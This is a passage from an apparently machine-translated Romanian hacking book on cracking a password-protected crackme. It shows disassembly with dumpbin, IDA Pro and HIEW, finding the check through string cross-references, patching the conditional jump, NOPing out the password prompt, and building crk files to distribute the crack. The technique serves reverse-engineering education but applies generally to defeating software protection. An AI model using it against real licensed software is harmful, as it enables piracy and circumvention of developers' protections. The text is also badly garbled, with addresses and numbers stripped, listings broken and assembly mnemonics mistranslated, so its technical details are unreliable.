semnificative au fost înlocuite cu codurile lor digitale Această „împușcătură” depune două păsări dintr-o piatră: □ Limba în care este tradus programul este „ascuțită” în avans pentru o interpretare rapidă și optimizată ca dimensiune □ Codul programului nu mai este disponibil pentru studiu direct (și/sau modificare) Dezasamblarea unor astfel de programe este imposibilă - dezasamblatorul vizează în mod special codul mașinii și nu „digeră” limbajul interpretat (numit și cod l) necunoscut acestuia Desigur, codul l nu este perceput nici de procesor! Este executat de un interpret adăugat programului Aici dezasamblatorul va „lua” interpretul! Studiind algoritmul de funcționare a acestuia, se poate înțelege „dispozitivul” codului l și se poate afla scopul tuturor comenzilor sale Acesta este un proces foarte intensiv în muncă! Interpreții sunt uneori atât de complexi și ocupă atât de mulți megaocteți încât analiza lor se întinde pe mai multe luni, sau chiar ani Din fericire, nu este nevoie să analizați fiecare program, deoarece interpreții unei versiuni sunt identici, iar codul l în sine se schimbă de obicei puțin de la versiune la versiune, în orice caz, nucleul său nu este rescris în fiecare zi Prin urmare, este foarte posibil să creați un program care convertește codul l înapoi în limba originală Desigur, numele simbolice nu pot fi restaurate, dar restul listării va părea destul de ușor de citit Deci, dezasamblatorul este aplicabil pentru studiul programelor compilate și este parțial potrivit pentru analiza codului „pseudo-compilat” Dacă da, ar trebui să fie potrivit și pentru deschiderea protecției prin parolă Întrebarea este ce dezasamblator să alegeți Dezasamblatoare în loturi și dezasamblatoare interactive Nu toate dezasamblatoarele sunt la fel Printre aceștia sunt și „intelectuali”, care recunosc automat multe construcții, precum proloage și epiloguri de funcții, variabile locale, referințe încrucișate etc , precum și „simpletoni” ale căror abilități sunt limitate doar prin traducerea instrucțiunilor mașinii în instrucțiuni în limbajul de asamblare În general, există două tipuri de dezasamblare - batch și interactive Dezasamblatoarele de lot efectuează analize automate pe baza parametrilor selectați Lucrând cu dezasamblatoare interactive, puteți controla întregul proces de dezasamblare Un reprezentant tipic al familiei de dezasamblare a pachetelor este Sourcer Dezasamblatoarele interactive includ IDA Pro și HIEW Dezasamblatoarele batch sunt mai ușor de utilizat, dar au o mulțime de limitări inerente În special, aceștia nu sunt capabili să facă față nici măcar celor mai simple mecanisme de apărare și tehnici anti-depanare Pentru spargerea mecanismelor simple de apărare și analizarea programelor mici (aproximativ KB), HIEW este ideal - cel mai simplu dintre dezasamblatoarele interactive Pentru a rezolva probleme mai grave, hackerii folosesc IDA Pro - un unic Capitolul Încălzirea un instrument care oferă nu numai posibilitatea dezasamblarii interactive, ci și un sistem convenabil de navigare prin fișierul analizat Ego este dezasamblatorul preferat al majorității hackerilor, iar capacitățile sale sunt fantastice Utilizarea dezasamblatoarelor în loturi Cel mai logic este să folosești serviciile unui dezasamblator inteligent (dacă există), dar să nu ne grăbim, ci să încercăm să facem toate analizele manual Tehnica, desigur, este un lucru bun, dar, din păcate, nu este întotdeauna la îndemână și ar fi bine să înveți din timp să lucrezi „pe teren” În plus, comunicarea cu un dezasamblator prost este cel mai bun mod de a sublinia „bunătățile” unuia bun Să folosim utilitarul dumpbin deja familiar, un adevărat „cuțit elvețian” cu multe funcții utile, printre care se numără și un dezasamblator Să dezasamblam secțiunea de cod (după cum ne amintim, numită text), redirecționând ieșirea către un fișier, deoarece evident nu se va potrivi pe ecran > duirpbin /SECTION: text /DISASM crackme c fllea h exe > code Deci, în mai puțin de o secundă, s-a format un fișier code cu o dimensiune de până la KB Da, programul original a fost de ori mai scurt! Cât durează analizarea acestui fișier? Cel mai ofensator lucru aici este că marea majoritate a codului nu are nimic de-a face cu mecanismul de protecție și este o funcție a bibliotecilor standard ale compilatorului, pe care nu trebuie să le analizăm Dar cum pot fi deosebiți de codul „util”? Să ne gândim Nu știm unde se află exact procedura de comparare a parolelor Structura sa ne este necunoscută, dar este sigur să spunem că unul dintre argumentele sale este un pointer către o parolă de referință Rămâne doar să aflăm la ce adresă se află această parolă în memorie - va fi valoarea dorită a indicatorului Să ne uităm din nou la secțiunea de date (sau altă secțiune, în funcție de locul în care este stocată parola) Fragmentul dump de care avem nevoie este prezentat în Listarea I Listare $ Fragment din conținutul secțiunii data, obținut cu ajutorul utilitarului dumpbin > duirpbin /SECȚIUNEA: data /RAWDATA crackine c fllea h exe > data DATE RAW # : : : C : - D E : : : : : A : DO D C E D A E PENTRU D E B F F E F E F F C C C F F A F B A C C A ',@ O @ G @ &@ l'@ ,Q@ AA@ (@ cr? crackme OOh enLe r passwd: irry g ood parolă parola gresita parola ok la naiba o, utilizator legal Da, parola este situată la offset x (coloana din stânga de numere), deci indicatorul către aceasta este x Să încercăm să găsim acest număr în lista dezasamblată prin căutare contextuală trivială în orice editor de text (Listing ) Găsite? Iată valoarea (îngroșată în text) Lista Indicator către parola găsită în lista decompilată folosind căutarea contextului : D F: : D FD FF FF С Iea esx,[ebp+FFFFFFD h] împinge ex apăsați Partea a II-a Tehnici de bază de hacking : E F caii FA А: С adăugați esp, D: CO test eax,eax F: je Acesta este unul dintre cele două argumente ale funcției x YA introduse în stivă de instrucțiunea de push a mașinii Al doilea argument este un pointer către un buffer local, care conține probabil parola utilizatorului Aici trebuie să ne abatem puțin de la subiectul conversației și să luăm în considerare trecerea parametrilor în detaliu Cele mai obișnuite modalități de a transmite argumente ale funcției sunt prin registre și prin stivă Trecerea parametrilor prin registre este cea mai rapidă, dar nu fără dezavantaje - în primul rând, numărul de registre este foarte limitat, iar în al doilea rând, acest lucru face dificilă implementarea recursiunii - apelând o funcție de la sine Înainte de a introduce noi argumente în registre, trebuie mai întâi să le salvați pe cele vechi în RAM Și dacă da, nu este mai ușor să treci imediat argumente prin RAM, fără să suferi cu registrele? Marea majoritate a compilatorilor trec argumente pe stivă Nu există un consens între dezvoltatorii de compilatoare cu privire la problemele de transfer Există cel puțin două mecanisme diferite, numite convenții C și convenții Pascal Contractul C indică împingerea argumentelor pe stivă de la dreapta la stânga, adică primul argument al funcției este împins ultimul pe stivă și ajunge deasupra acestuia Eliminarea argumentelor din stivă nu este responsabilitatea funcției în sine, ci a codului pe care îl apelează Aceasta este o soluție destul de risipitoare, deoarece fiecare apel de funcție face programul mai greu cu câțiva octeți de cod Dar această convenție vă permite să creați funcții cu un număr variabil de argumente - la urma urmei, nu funcția în sine le scoate din stivă, ci codul care o apelează, care probabil cunoaște numărul exact de argumente transmise Curățarea stivei se face de obicei cu comanda add esp,xxx, unde xxx este numărul de octeți de șters Deoarece fiecare argument este de obicei de patru octeți în modul de de biți, numărul de argumente ale funcției este calculat după cum urmează: n args = Compilatorii de optimizare pot folosi cod mai complicat - pentru a șterge teancul de mai multe argumente, adesea le „introduce” în registrele neutilizate cu pop sau și nu ștergeți stiva imediat după ieșirea din funcție, dar acolo unde este mai convenabil pentru compilator Convenția Pascal dictează ca argumentele să fie împinse în stivă de la stânga la dreapta Aceasta înseamnă că primul argument al funcției este împins mai întâi pe stivă și ajunge în „partea de jos” a stivei Eliminarea argumentelor dintr-o funcție este încredințată funcției în sine și este de obicei efectuată de comanda ret xxx - adică revenirea din subrutină cu eliminarea a xxx octeți din stivă Valoarea de returnare a funcției în ambele convenții este trecută prin registrul eax (sau prin perechea de registru edx:Eax când returnează variabile pe de biți) Deoarece programul pe care îl examinăm este scris în C și, prin urmare, scrie argumente de la dreapta la stânga, codul său sursă arăta cam așa: (* x FA ) (ebp+FFFFFD h, „parola mea bună”) Suntem convinși că există exact două argumente, și nu, să zicem, patru sau zece, prin comanda add esp, (vezi Listarea ), aflată după apel Rămâne să aflăm scopul funcției FA , deși dacă vă încordați intuiția, acest lucru s-ar putea să nu se facă! Și este atât de clar - această funcție compară parola, altfel de ce i-ar fi transmisă? Cum o face este a zecea întrebare, dar ceea ce ne interesează cu adevărat este valoarea returnată de ea Deci, coborâm cu o linie mai jos (lista ) Capitolul Lista Verificarea valorii returnate de funcția FAO x pentru a fi egală cu zero : E OF A: C D: CO F: caii FA add esp, test eax,eax je Ce vedem? Comanda de testare eax, eax verifică valoarea returnată a funcției pentru zero și, dacă este într-adevăr zero, următoarea comandă je sare la linia x În caz contrar (dacă ex != ) : apăsați h Arată ca un alt indicator Nu-i așa? Să testăm această ipoteză privind segmentul de date: : F E F A parolă greșită Deja mai cald! Indicatorul ne-a dus la linia de parolă greșită, afișată evident de următoarea funcție de pe ecran Aceasta înseamnă că o valoare diferită de zero a lui eax indică o parolă falsă, iar zero indică una adevărată OK, atunci să trecem la analiza ramura programului care procesează parola corectă (Listing ) din A: C D: C F: CAII BC LEA EAX, [EBP+FFFFFD H] PUSH EAX MOV ECX, A H CAII A LEA ECX, [EBP+FFFFFD H] PUSH ECX ch esp, test eax,eax je : : B A C: E B împingere h mov ecx, A ca BC Da, un alt indiciu Ei bine, ne-am întâlnit deja cu funcția x vs mai devreme - (probabil) servește la afișarea liniilor pe ecran Ei bine, liniile în sine pot fi găsite în segmentul de date De data aceasta există o linie Parolă OK Considerațiile operaționale sunt următoarele: dacă înlocuiți comanda je cu jne, atunci programul va respinge parola adevărată ca fiind incorectă și orice parolă incorectă va fi acceptată ca adevărată Și dacă înlocuim test eax, eax cu mutarea eax, eax, atunci după executarea acestei comenzi, registrul eax va fi întotdeauna egal cu zero, indiferent de ce parolă este introdusă Ideea este mică - să găsiți acești octeți în fișierul executabil și să îi remediați De la EXE la CRK În sfârșit, este timpul să începeți să faceți cunoștință cu IDA Pro - fără îndoială cel mai bun dezasamblator disponibil astăzi Deosebit de ideal, IDA Pro este potrivit pentru hacking Partea a II-a Tehnici de bază de hacking și studierea programelor protejate Evident, exemplul crackme C Fl EA h discutat în secțiunile anterioare nu este un program sigur în sensul deplin al cuvântului În acest exemplu, nu există nici cod criptat, nici „capcane” pentru dezasamblare SOURCER sau orice alt dezasamblator ar face treaba la fel de bine Prin urmare, las alegerea finală în seama cititorului (apropo, deși IDA Pro are o serie de limitări, este distribuit gratuit) Notă Din cauza limitărilor severe de spațiu impuse acestei cărți, nu este posibilă aici o descriere completă a tuturor caracteristicilor IDA Pro Informații detaliate despre acest subiect pot fi găsite în cartea „Mindset - The IDA Disassembler” Porniți IDA Pro, descărcați și dezasamblați programul crackme c fllea h exe Așteptați finalizarea dezasamblatorului Văzând o listă lungă de un kilometru, emisă ca urmare, un cititor neexperimentat s-ar putea să se sperie: cum să intri în această junglă de cod de neînțeles și confuz? Sute de apeluri de funcții, multe salturi condiționate Cum îți dai seama de toate? Și cât durează analiza? Din fericire, nu este nevoie să înțelegeți întreaga listă dezasamblată Este suficient să studiezi și să înțelegi algoritmul mecanismului de protecție responsabil cu verificarea parolelor Singura problemă este cum să găsiți acest mecanism în jungla nesfârșită a codului de dezasamblare? Acest lucru se poate realiza altfel decât printr-o analiză completă a întregului program? Sigur ca poti! Să încercăm, de exemplu, să folosim referințe încrucișate la șiruri ASCII precum parolă greșită, Parolă ok, Introduceți parola, conținute în program în formă necriptată (text clar) Cel mai adesea, codul responsabil pentru afișarea lor pe ecran este situat direct în grosimea mecanismului de protecție sau, în cel mai rău caz, este situat undeva în apropiere În marea majoritate a cazurilor, liniile în sine sunt în segmentul de date numit data Programele MS-DOS mai vechi nu au respectat adesea această regulă În special, compilatorului Turbo Pascal îi plăcea să plaseze constante direct în segmentul de cod Pentru a naviga la segmentul de date din IDA Pro, selectați elementul Segmente din meniul Vizualizare, apoi găsiți segmentul numit data printre segmentele listate în fereastra care apare Derulăm în jos ecranul dezasamblatorului de câteva pagini și, iată-le rândurile noastre, izbitoare imediat chiar și cu o vedere superficială (Listing ) Lista Șirurile de text căutate și referințele încrucișate sunt ușor de găsit în codul dezasamblat chiar și vizual data: data: data: A data: C data: D data: data: data: data: B aCrackmeOOhEnte aMy „good pas swo o parolă greșită oParolăOkLa naiba db 'crackme h', Ah ; DATE XREF: sub +DÎo db 'enter passwd: , aliniază db 'parola mea bună', ; DATE XREF: sub + AÎo align db parolă greșită',OAh, ; DATE XREF: sub + Îo db 'parola ok', Ah ; DATE XREF: sub + AÎo db 'hello, legal user'', Ah, dd offset off A Kaspersky K Mod de gândire - dezasamblator IDA - M • Solon-R Capitolul Încălzirea Vezi (Listarea ), IDA a restaurat automat referințele încrucișate la aceste linii (adică a determinat adresa codului care se referă la ele) și le-a formatat ca comentariu O literă cabalistică precum data xref: sub (sau faceți dublu clic) Într-o clipă, soarta ne aduce aici (lista , poziția cursorului este îngroșată) ['Listing O Rezultatul dezasamblarii crackme c f ea h exe; text: sub proc lângă ; COD XREF: start+AF-Lp text: text: text text: text: text: B text: C text: D : text: text: text: A text: A text: F text: F text: text: text: text: text: text: B text: text: text: text: text: text: text: B text: B text: text: text: : : text: text: C text: text: text: text: text: var C = octet ptr Ch sub esp, Ch mov ecx, offset dword A împinge ebx împinge esi push offset aCrackmeOOhEnte ; "crackme h\nenter passwd:" caii ?? ostream@@QAEAAV @PBD@Z ; ostreani: :operator" (char const *) lea eax, [esp+ A h+var C] mov ecx, offset dword A împinge eax caii ?? istream@@QAEAAV @PAD@Z ; istream::operator"(car *) lea esi, [esp+ A h+var C] mută eax, compensează aMy good passwo ; "parola mea aod" loc F: COD XREF: sub + mov dl, [eax] movpl, [esi] movcl, dl emp dl, bl ]nz scurt loc test cl, cl jz scurt loc mov dl, [eax+lj mov bl, [esi+ ] movcl, dl emp dl, bl jnz scurt loc adăugați eax, adăugați esi, test cl, cl jnz scurt loc F loc : Cod XREF: sub„ + Blj xor eax, eax jmp scurt loc C loc : , COD XREF: sub + Xj ; sub + ij sbb eax, eax sbb eax, OFFFFFFFFh Partea a II-a Tehnici de bază de hacking text: С loc C: ; COD XREF: sub + >l + ij push offset aPasswordOkHell ;"parola ok\nbună, utilizator legal \n" text: F text: text: text: text: B text: text: mov ecx, offset dwordstream B text: ostream::operator"(char const xor eax, eax add esp, Ch retn sub endp Judecând după legăturile către șirurile de text introduceți parola, parola greșită și parola ok, concentrată într-o mică secțiune de cod, funcția sub oiooo este mecanismul de apărare foarte prețuit De acord că analiza a o sută de linii de cod dezasamblat (și anume, atât de mult ia funcția sub ) nu este deloc același lucru cu a face față cu mai mult de douăsprezece mii de linii dintr-un fișier sursă! Scopul principal al dezvoltatorilor de protecție este de a proiecta un mecanism de protecție pentru a nu lăsa informații redundante cu privire la aspectele funcționării acestuia Cu alte cuvinte, nu lăsați nicio urmă în urmă! În exemplul pe care îl luăm în considerare, au rămas foarte multe astfel de urme Șirurile de text care informează utilizatorul că parola a fost introdusă incorect este cea mai magnifică cale pe care hackerii l-au văzut vreodată Unde duce? Evident, la codul care scoate această linie! La rândul său, acest cod duce la codul mecanismului de protecție, care, în anumite circumstanțe, îl numește Cu alte cuvinte, la capătul traseului, acest traseu ne va conduce la codul care decide corectitudinea parolei introduse - însăși inima apărării (în terminologia militară, „cartierul general al comandantului șef”) Pentru a îngreuna pătrunderea, acest loc ar trebui să fie deghizat corespunzător! Cu toate acestea, este prea devreme pentru a ne bucura și încă nu avem nimic de care să ne mândrim La urma urmei, nu noi am găsit codul de securitate, ci analizatorul intelectual al dezasamblatorului IDA Pro Dar cum rămâne cu acei oameni nefericiți care pur și simplu nu au acest dezasamblator? Ei bine, atunci puteți folosi orice editor hexadecimal la îndemână (să fie HIEW pentru certitudine), și bineînțeles cu propriile mâini și cap „Așteaptă!” va exclama un alt cititor „De ce să te deranjezi cu HIEW când poți cumpăra IDA Pro, scăpând astfel de nevoia de a aprofunda în toate complexitățile analizei manuale?” Ei bine, fiecare dintre noi își alege propriul drum în viață Și dacă rezultatul final este important pentru tine în primul rând și nu înțelegi esența a ceea ce se întâmplă, te rog să urmezi calea celei mai mici rezistențe Într-adevăr, majoritatea apărărilor sunt deschise prin tehnici standard care sunt destul de ușor de învățat Pentru a neutraliza astfel de mecanisme de apărare, crackerul nu trebuie să înțeleagă cum funcționează După cum am menționat deja, capacitatea de a elimina protecția nu înseamnă capacitatea de a o pune Este tipic unui biscuit Capitolul Încălzirea rupe programe pentru bani, și nu de dragul dobânzii Hackerii, la rândul lor, sunt mult mai interesați de principiul funcționării mecanismului de protecție, iar hacking-ul este secundar pentru ei Hackerea unui program, dar a nu-l înțelege este același lucru pentru un hacker cu a nu sparge nimic Abordările de hacking sunt diferite Puteți, de exemplu, să ridicați o parolă folosind forța brută sau puteți arunca o provocare intelectuală apărării și o învingeți sau o pierdeți Și chiar dacă hackerul pierde, cât de pierdut! Amărăciunea înfrângerii este compensată de experiența dobândită, iar experiența oferă hrană pentru reflecție ulterioară Așadar, dacă ești un hacker, degetele tastează rapid pe tastatură prețul: hiew crackme c FHEA h exe Acum, apelând dialogul de căutare context cu , încercăm să aflăm la ce adresă din fișier se află linia de parolă greșită Vă rugăm să rețineți că adresa trebuie determinată, nu offset-ul, deoarece HIEW, în ciuda aparentei sale simplități, analizează antetul fișierului PE din proprie inițiativă și traduce automat offset-urile în adrese virtuale - acele adrese pe care aceste celule le vor primi după încărcarea fișierului în memorie (Listing ) Lista Determinarea adreselor șirurilor de text afișate atunci când este introdusă o parolă incorectă : F E- : - А : F С С- В : AO - С : - - F- F - F B OA- С- - - E F - F -A - A parolă greșităB C C parolă okehell A o, utilizator legallB aq@ ?AVios@ @aq@ Potrivit HIEW, linia de parolă greșită se află la h O amintim (sau, și mai bine, o notăm pe o foaie de hârtie) și, fără a uita să trecem la începutul fișierului, apăsăm din nou În câmpul hex, introduceți adresa liniei, scrisă în ordine inversă: Notă De ce exact în ordine inversă (cu alte cuvinte, înapoi) Pur și simplu pentru că la procesoarele x , octeții mici sunt întotdeauna localizați la adresa inferioară și, în consecință, invers procesoare x ) HIEW găsește rapid prima apariție, care se află în codul mașină următor și, apropo, deja familiar (Listing ) Lista Rezultatele căutării pentru codul care scoate șirul „parolă greșită” E: C : : : B A С: Е : ZZSO : С С : SZ А: F: B A : Е С : ZZSO В: С С : SZ test eax, eax je A apăsați mov ex, A sunați la F xor eax, eax adăugați esp, C retn apăsați mov ex, A sunați la F xor eax, eax adăugați esp, C retn Comparați codul din Lista cu lista IDA Pro dezasamblată (Listingul ) Rezultatul muncii lui HIEW nu este oarecum mai puțin informativ? Cu toate acestea, ne divagăm Să ne întoarcem Partea a II-a Tehnici de bază de hacking la analiza exemplului nostru din studiul prototipului funcției ostream: :operator"(char const*) (este și funcția Fh în HIEW) Compilatorul C împinge toate argumentele din stivă de la dreapta la stânga, astfel încât x va fi indicatorul către șirul (*str) pe care îl emite această funcție Astfel, ne aflăm în imediata apropiere a mecanismului de apărare Să facem un pas mai departe, deplasând câteva rânduri înapoi (adică, în zona cu adrese mai mici) Veți vedea codul afișat în Lista ' Lista Ramura condiționată ascunsă necesară pentru a distinge utilizatorii legali de „ilegali” * , E: C test eax, eax : je А ( ) Ieșirea liniei de parolă greșită este precedată de o ramură condiționată je A, care în cazul unei valori zero a registrului eax „sare” prin funcția de ieșire a șirului de parolă greșită Cu alte cuvinte, această ramură condiționată transferă controlul către ramura programului care scoate șirul de cuvinte OK Este timpul să „jucăm trucuri” puțin și să schimbăm acei doi octeți prețuiți care împiedică utilizatorii ilegali (precum toți cei legali care au uitat parola) să obțină acces la program Evident, dacă schimbați saltul condiționat je a în jmp necondiționat scurt A, atunci protecția va accepta orice parolă introdusă ca fiind corectă Am pus HIEW în modul de editare apăsând și deplasând cursorul pe linia cu saltul condiționat dorit și schimbăm je în jmps Acum salvați modificările la fișier apăsând tasta și ieșiți Să rulăm programul și să încercăm să introducem orice cuvânt (de preferință din vocabularul normativ) care ne vine în minte Dacă totul a fost făcut corect, atunci inscripția „parolă OK” se aprinde victorios pe ecran Dacă programul se blochează, atunci am făcut o greșeală undeva Restaurați programul dintr-o copie de rezervă și repetați totul de la început Dacă hack-ul a avut succes, atunci puteți încerca să veniți cu un fel de glumă De exemplu, să ne gândim ce se întâmplă dacă înlocuim je cu jne? Ramurile programului sunt schimbate! Acum, dacă se introduce o parolă incorectă, sistemul o va accepta ca pe una adevărată, iar un utilizator legal, introducând o parolă reală, va citi cu surprindere mesajul de eroare Notă Securitate piratată? Da, a fost spartă Rețineți că în secțiunea anterioară, „Utilizarea dezasamblatoarelor în loturi”, aceeași sarcină a fost realizată cu utilitarul dumpbin exe Acum același obiectiv este atins cu dezasamblatorul interactiv Deci, scopul final al hacking-ului a fost atins Dar ați înțeles principiul mecanismului de protecție? La urma urmei, încă nu cunoaștem principiul funcționării sale Și dacă există o verificare suplimentară a mecanismului de protecție, care, în cazul unei parole introduse incorect, trece programul în modul demo și, după câteva zile, pur și simplu nu mai funcționează În același timp, este bine dacă nu configurează vreo răutate precum formatarea unui hard disk! Din acest motiv se recomandă în orice caz să se analizeze întregul mecanism de apărare în ansamblu, începând cu prima linie a funcției sub și terminând cu comanda return (Listing ) Dacă sunteți nou în domeniul dezasamblarii, citiți cartea menționată anterior „Mindset - The IDA Disassembler” Lista Lista procedurilor de apărare dezasamblate text: sub proc lângă ; COD XREF: start+AF^p text: text- var C = byte ptr - Ch Capitolul Încălzirea text: text: text: text: text: text: b text: c: text: Text: text: text: text: text: text: text: Text: b: text: text: A text: A text: A text: F text: F text: •text: text: sub esp, Ch ; Alocam memorie pentru variabilele locale mov ex, offset dword A , împinge ebx împinge esi push offset aCrackmeOOhEnte ,• „crackme h\nenter passwd:” sunați la ? ostream@@QAEAAV @PBD@Z ; ostream::operator"(const caracter *) ; Bazat pe prototipul ostream::operator"(char const *), ; recunoscut de IDA, puteți determina valorile argumentelor ; a acestei funcții, împins pe stivă de la dreapta la stânga ; offset aCrackmeOOhEnte - indicator către șirul de ieșire, ; și PUSH EDX și PUSH ESI nu sunt argumente de funcție ; (cum poate părea la prima vedere) ; Sunt pur și simplu valori stocate temporar pe stivă ; Offset-ul încărcat în ECX este un pointer ; pe instanța obiectului basic ostream încărcată în memorie ; la A h lea ax, [esp+ A h+var C] mov ex, offset dword A împinge eax sunați la ?? istream@@QAEAAV @PAD@Z ; istream::operator"(car *) ; Acum funcția istream: :operator"(char *) este apelată, ; care citește parola din intrarea standard ; (tastaturi) Are un prototip asemanator ; cu excepția faptului că în loc de adresa șirului de ieșire ; este nevoie de un pointer către un buffer de recepție, ; care în acest caz este implementat în variabila var C lea esi, [esp+ A h+var C] ; Încărcăm indicatorul către buffer în ESI, ; conţinând parola introdusă mov eax, offset aMy good passwo ; "tu good parola" ; Încărcăm în EAX un pointer către un șir similar cu ; la parola principală loc F: COD XREF: sub + J pentru a comuta în modul hex (cu excepția cazului în care îl aveți setat ca mod implicit) Apăsaţi pentru a introduce adresa de salt Apoi introduceți adresa în sine, precedată de un punct (punctul este necesar pentru a-i spune lui HIEW că aceasta este o adresă, nu un offset în fișier) Apăsaţi pentru a activa modul de editare Trecând la modul de editare, înlocuiți octetul retn (codul C h) cu codul de comandă nop - h (rețineți că opcode-ul de comandă nop este h și deloc h, așa cum cred mulți cercetători de cod începători din anumite motive) Se pare că am făcut totul bine Cu toate acestea, când rulați programul, veți vedea o casetă de dialog care spune că „programul a efectuat o operațiune ilegală și va fi închis” O da! Am uitat complet de compilatorul de optimizare! Acest lucru face dificilă modificarea programului, dar în niciun caz nu o face imposibilă Să aruncăm o privire sub capota puternicului sistem Windows și să vedem ce se întâmplă Să rulăm din nou programul și în loc de o închidere de urgență, apăsăm butonul Mai multe informații, în urma căruia vom fi informați că: „Programul crack me C FlIEA h exe a provocat o eroare la accesarea paginii de memorie din MSVCP Modul DLL la F: C D " Informații dezamăgitor de neinformative! Desigur, eroarea nu are nimic de-a face cu MSVCP DLL și cu Capitolul Încălzirea Adresa, aflată adânc în măruntaiele acestuia din urmă, nu ne spune absolut nimic Chiar dacă ne asumăm riscul să mergem acolo cu un depanator, tot nu vom găsi cauza defecțiunii, deoarece parametri incorecți au fost transferați acestei funcție, ceea ce a condus la excepție Desigur, acest lucru nu vorbește în favoarea Microsoft: ce fel de funcție este aceasta dacă nu verifică corectitudinea argumentelor transmise acestuia! Pe de altă parte, verificările excesive nu au cel mai bun efect asupra vitezei și compactității codului Dar avem nevoie de o astfel de optimizare? Păcat că echipa de dezvoltare Windows nu aude această întrebare Cu toate acestea, ne divagăm Un alt produs Microsoft, MS Visual Studio Debugger, ne va ajuta să intrăm în Windows și să aflăm ce este exact în neregulă Odată instalat pe sistem, adaugă un buton Debug în fereastra de blocare Cu ajutorul acestuia, nu numai că putem închide o aplicație care funcționează incorect, ci și să aflăm cauza erorii Să așteptăm să apară din nou această fereastră și să apelăm depanatorul integrat în Microsoft Visual C++ Deși acesta nu este cel mai puternic dintre depanatoarele existente, este destul de potrivit pentru acest caz După cum am menționat deja, este inutil să cauți o pisică neagră într-o cameră întunecată, mai ales dacă nu este acolo Codul care a generat mesajul de eroare nu are nimic de-a face cu codul care a provocat de fapt eroarea În primul rând, trebuie să ieșim din profunzimea funcțiilor imbricate „sus” pentru a ajunge pe urmele adevăratului vinovat de ceea ce s-a întâmplat, chiar codul care transmite parametri incorecți altor funcții Pentru a face acest lucru, trebuie să analizați adresele de retur pe stivă Aceste informații pot fi furnizate într-o formă care poate fi citită de om de către expertul Caii Stack, a cărui ieșire este afișată în Listarea , Lista Vizualizarea conținutului stivei de apeluri de funcție în Debugger std::basic ostream >::opfx(std::basic ostrea std::basic ostream >::put(std::basic ostrea std::endl(std::basic ostream > & { }) crackme C FllEA h' CThreadSlotData::SetValue(CThreadSlotData * const x , int , Deoarece stiva crește de la adrese mai înalte la adrese inferioare (în lista - , aceasta corespunde direcției „de jos în sus”), prin urmare trebuie să coborâți în direcția opusă Primele trei apeluri pot fi sărite în siguranță (întrucât acestea sunt funcții de bibliotecă care nu conțin nimic interesant), dar al patrulea apel, crackme C Fl EA h, aparține aplicației noastre Aceasta este sursa imediată a erorii Să facem clic pe el și să mergem direct la fereastra de dezasamblare (Listing ) Listare , USD Sosire la fața locului E test eax, eax A push h mov ecx, A h С caii F xor eax, eax Adaugă esp, Ch por A Push h F mov ecx, A h caii F xor eax, eax Â add esp, Ch ret Partea a II-a Tehnici de bază de hacking Recunoașteți codul din jur? Da Da! Acesta este același loc unde l-am schimbat puțin Dar care este motivul erorii? Rețineți că instrucțiunea ret pe care am eliminat-o este precedată de comanda de ștergere a stivei de variabilele locale: add esp, sn Și aceeași comandă se repetă înainte de sfârșitul „real” al funcției din linia Bh Dar la urma urmei, atunci când stiva este golită din nou, echilibrul său este perturbat și, în loc de adresa de retur de la funcție, tot felul de prostii ajung în vârful stivei, ducând la un comportament imprevizibil al aplicației pe care am piratat-o Cum să o evite? Da, este foarte simplu - doar eliminați una dintre comenzile add esp, Ch, completând-o cu instrucțiuni nop sau înlocuiți Ch cu zero (când se adaugă zero la ceva, valoarea acestuia nu se schimbă) După aceea, programul piratat încetează să funcționeze și începe să funcționeze normal, după cum confirmă Listarea - Lista Acum protecția va accepta orice parolă introdusă ca fiind corectă > crackme C FHEA h exe introduceți passwd:xxxx piratat de parola KPNC ok salut, utilizator legal' Deci apărarea este spartă Totuși, acesta este un hack murdar (să lăsăm etica deoparte, nu despre asta vorbim) Un hack murdar este un hack neglijent Și deși un biscuit obișnuit se oprește de obicei acolo, vom merge mai departe La urma urmei, programul încă cere o parolă Această solicitare poate enerva foarte mult utilizatorul, în ciuda faptului că programul percepe absolut orice parolă ca fiind corectă Ei bine, haideți să modificăm programul pentru a nu ne distra deloc cu o cerere de parolă! O soluție ar fi eliminarea procedurii de introducere a parolei Acordați atenție unui punct important: odată cu procedura, trebuie să eliminați parametrii împinși pe stivă, altfel stiva va fi dezechilibrată, iar consecințele nu vor întârzia să apară Revenind la lista dezasamblată a programului stricat, vedem că funcția de introducere a parolei se află la adresa h, iar comanda de transmitere a argumentelor (această funcție are doar una) este la adresa h Pentru a dezactiva complet protecția, ambele apeluri trebuie suprascrise cu instrucțiuni nop Și apoi codul programului va arăta ca în lista (liniile modificate sunt îngroșate) Lista Cod de program piratat : EC C sub esp, C : B A mov ecx, A ;"@SP" B: push ebx С: push esi D: push ;"@IR" : E DE caii F : D lea eax, [esp][ ] B: B A mov ecx, A @S" : nr : nr : nr : nr : nr : nr : D lea esi, [esp][ ] A: B C mov eax, C @I " Capitolul Încălzirea Salvăm modificările în fișier, îl rulăm și funcționează! Deși linia de introducere a parolei este încă vizibilă, parola în sine nu mai este solicitată și programul nu este suspendat Este posibil să eliminați linia de introducere a parolei? Desigur de ce nu! Mai mult, nu este absolut necesar să suprascrieți procedura care o scoate cu instrucțiuni nop Este suficient să inserați un singur zero la începutul liniei sau chiar să folosiți această linie pentru a afișa „dreptul de autor” Într-adevăr, linia de parolă greșită este prea scurtă și nu orice nume poate fi plasat în ea Este mai bine să utilizați linia de introducere a parolei sub hacked by și să dați întreaga linie de parolă greșită sub intrarea „graffiti-ului” Deci, hack-ul nostru aproape sa terminat Rămâne să rezolvăm ultima întrebare - cum ne distribuim „creația”? Fișierele executabile sunt de obicei foarte mari și există restricții legale severe privind distribuirea lor Ar fi bine să explicăm utilizatorului exact ce octeți trebuie modificați pentru ca programul să funcționeze, dar va putea el să ne înțeleagă? În acest scop, s-au inventat biscuiți automati Mai întâi trebuie să stabiliți: ce octeți ai fișierului piratat au fost modificați Pentru a face acest lucru, avem nevoie de o copie originală a fișierului sursă și de un utilitar pentru compararea fișierelor octet cu octet Cele mai populare astăzi sunt utilitarele C U de la profesorul Nimnul și MakeCrk de la laboratoarele doctorului Stein Prima dintre utilitare este mult mai preferabilă, deoarece, în primul rând, procesează mai bine fișierele crk nu chiar standard și, în al doilea rând, vă permite să generați un format heck extins Pentru a rula C U pe linia de comandă, trebuie să specificați numele a două fișiere - originalul și versiunea sa „pirată” După ce utilitarul își finalizează activitatea, toate diferențele detectate vor fi scrise în fișierul crk/xck Acum avem nevoie de un alt utilitar, al cărui scop va fi exact opus: folosind fișierul cik, modificați acești octeți în programul original Există o mulțime de astfel de utilități astăzi Din păcate, acest lucru nu afectează în cel mai bun mod compatibilitatea acestora cu diverse formate crk Cele mai cunoscute dintre acestea 